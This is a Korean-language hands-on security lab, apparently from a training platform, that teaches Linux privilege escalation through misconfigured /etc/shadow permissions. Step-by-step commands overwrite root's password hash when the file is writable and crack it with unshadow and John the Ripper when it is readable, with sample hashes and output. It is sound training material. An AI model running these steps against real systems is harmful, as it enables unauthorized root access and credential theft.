Linux 에서 /etc/shadow 파일을 이용한 권한 상승

Beginner

소개

리눅스 시스템은 사용자 인증 및 접근 제어를 위해 /etc/passwd/etc/shadow 파일을 사용합니다. 시스템 관리자가 이러한 파일의 권한 또는 내용을 잘못 구성하면 권한 상승 공격의 기회를 만들 수 있습니다. 이 랩에서는 /etc/shadow 파일을 활용하여 리눅스 시스템에서 root 권한을 얻는 방법을 배우게 됩니다. 이 시나리오는 이미 일반 사용자로 초기 낮은 권한의 셸 접근 권한을 얻었다고 가정합니다.

/etc/shadow 파일 이해

이 단계에서는 /etc/shadow 파일의 구조와 목적에 대해 배우게 됩니다.

/etc/shadow 파일은 각 사용자 계정에 대한 암호화된 암호와 암호 관련 구성 정보를 저장합니다. 파일의 각 줄은 하나의 사용자를 나타내며, 9 개의 콜론으로 구분된 필드를 포함합니다.

  1. 사용자 이름 (Username)
  2. 암호화된 암호 해시 (Encrypted password hash)
  3. 에포크 (1970-01-01) 이후 암호가 마지막으로 변경된 날짜 수
  4. 암호 변경 간의 최소 일수
  5. 암호 유효 기간의 최대 일수
  6. 암호 만료 전 사용자에게 경고할 일수
  7. 계정이 비활성화되기 전 암호 만료 후 일수
  8. 계정이 비활성화될 에포크 (1970-01-01) 이후의 날짜 수
  9. 향후 사용을 위한 예약 필드

터미널을 열고 /home/labex/project 디렉토리로 이동합니다.

cd /home/labex/project

/etc/shadow 파일에서 labex 사용자의 항목을 확인해 보겠습니다.

sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt

/etc/shadow 파일을 읽기 위해 sudo를 사용했습니다. 이는 해당 파일이 root 사용자만 읽을 수 있기 때문입니다.

labex_shadow.txt 파일의 내용을 확인합니다.

cat labex_shadow.txt

예시 출력:

labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::

이 줄은 다음을 나타냅니다.

  • 사용자 이름: labex
  • 암호화된 암호 해시: $y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8
  • 마지막 암호 변경: 에포크 (1970-01-01) 이후 19818 일
  • 최소 암호 사용 기간: 0 일 (제한 없음)
  • 최대 암호 사용 기간: 99999 일 (만료 없음)
  • 암호 경고 기간: 만료 7 일 전
  • 계정 만료 없음

기본적으로 root 사용자만 /etc/shadow 파일을 읽고 수정할 수 있습니다. 그러나, misconfigured된 권한은 때때로 권한 상승의 기회를 제공할 수 있습니다.

/etc/shadow 파일 쓰기 권한으로 권한 상승

이 단계에서는 /etc/shadow 파일에 대한 쓰기 권한이 있는 경우, 해당 파일에서 root 암호를 수정하여 권한을 상승시키는 방법을 배우게 됩니다.

  1. 먼저, 터미널을 열고 /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project
    

    디렉토리에서 env_setup_1.sh라는 스크립트를 찾을 수 있습니다. 이 스크립트를 실행하여 환경을 설정합니다.

    ./env_setup_1.sh
    

    이것은 환경을 설정하고 user001 사용자로 전환하여 초기 낮은 권한의 셸 접근을 시뮬레이션합니다.

    user001 홈 디렉토리로 이동합니다.

    cd ~
    
  2. 다음으로, /etc/shadow 파일의 권한을 확인합니다.

    ls -alh /etc/shadow
    

    예시 출력:

    -rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow
    

    misconfiguration으로 인해 user001 사용자가 /etc/shadow 파일에 대한 쓰기 권한을 가지고 있음을 확인할 수 있습니다.

  3. 이제 /etc/shadow 파일을 편집하고 root 사용자의 암호 해시를 새 해시로 바꿀 수 있습니다.

    먼저, 현재 root 암호 해시를 확인합니다.

    cat /etc/shadow | grep root
    

    예시 출력:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::
    

    새 암호 (예: pass123) 를 설정하려면 openssl 유틸리티를 사용하여 새 암호 해시를 생성합니다.

    openssl passwd -1 -salt ignite pass123
    

    예시 출력:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1
    
  4. 텍스트 편집기에서 /etc/shadow 파일을 열고 root 사용자의 암호 해시를 새 해시로 바꿉니다.

    nano /etc/shadow
    

    root 사용자의 암호 해시를 찾습니다.

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::
    

    암호 해시를 새 해시로 바꿉니다.

    root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::
    

    변경 사항을 저장하고 편집기를 종료합니다.

  5. 마지막으로, su root 명령을 사용하여 root 사용자로 전환하고, 메시지가 표시되면 새 암호 pass123을 입력합니다.

    su root
    

이제 시스템에서 root 권한을 갖게 됩니다.

/etc/shadow 파일 읽기 권한으로 권한 상승

이 단계에서는 /etc/shadow 파일에 대한 읽기 권한만 있는 경우, root 암호 해시를 크래킹하여 권한을 상승시키는 방법을 배우게 됩니다.

이전 단계를 완료한 후, root 사용자로 유지되어야 합니다. labex 사용자에 도달할 때까지 새 터미널을 열거나 exit 명령을 사용하여 현재 사용자를 로그아웃할 수 있습니다.

  1. labex 사용자인 경우, /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project
    

    env_setup_2.sh 스크립트를 실행하여 환경을 설정합니다.

    ./env_setup_2.sh
    

    이것은 user001 사용자가 /etc/shadow 파일에 대한 읽기 권한을 갖는 새로운 환경을 설정합니다.

    user001 홈 디렉토리로 이동합니다.

    cd ~
    
  2. /etc/shadow 파일의 권한을 확인합니다.

    ls -alh /etc/shadow
    

    예시 출력:

    -rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow
    

    misconfiguration으로 인해 user001 사용자가 /etc/shadow 파일에 대한 읽기 권한을 가지고 있음을 확인할 수 있습니다.

  3. 다음으로, john 도구를 사용하여 root 사용자의 암호 해시를 크래킹할 수 있습니다. john을 사용하기 전에, unshadow 명령을 사용하여 /etc/passwd/etc/shadow 파일의 내용을 결합해야 합니다.

    unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
    
  4. 이제 shadow_crack.txt 파일에서 john을 실행하여 root 사용자의 암호 해시를 크래킹하고 크래킹된 암호를 파일에 저장합니다.

    john --users=root shadow_crack.txt > cracked_passwords.txt
    

    크래킹된 암호를 보려면 cracked_passwords.txt 파일의 내용을 확인합니다.

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    study            (root)
    
  5. 마지막으로, su root 명령을 사용하여 root 사용자로 전환하고, 메시지가 표시되면 크래킹된 암호 study를 입력합니다.

    su root
    

이제 시스템에서 root 권한을 갖게 됩니다.

요약

이 Lab 에서는 /etc/shadow 파일의 구조와 목적, 그리고 이 파일을 활용하여 권한을 상승시키는 두 가지 방법 (쓰기 권한으로 root 암호 해시 수정 또는 읽기 권한으로 root 암호 해시 크래킹) 에 대해 배웠습니다. 이러한 기술은 Linux 환경에서 파일 권한을 적절하게 구성하고 민감한 시스템 파일을 안전하게 보호하는 것의 중요성을 보여줍니다.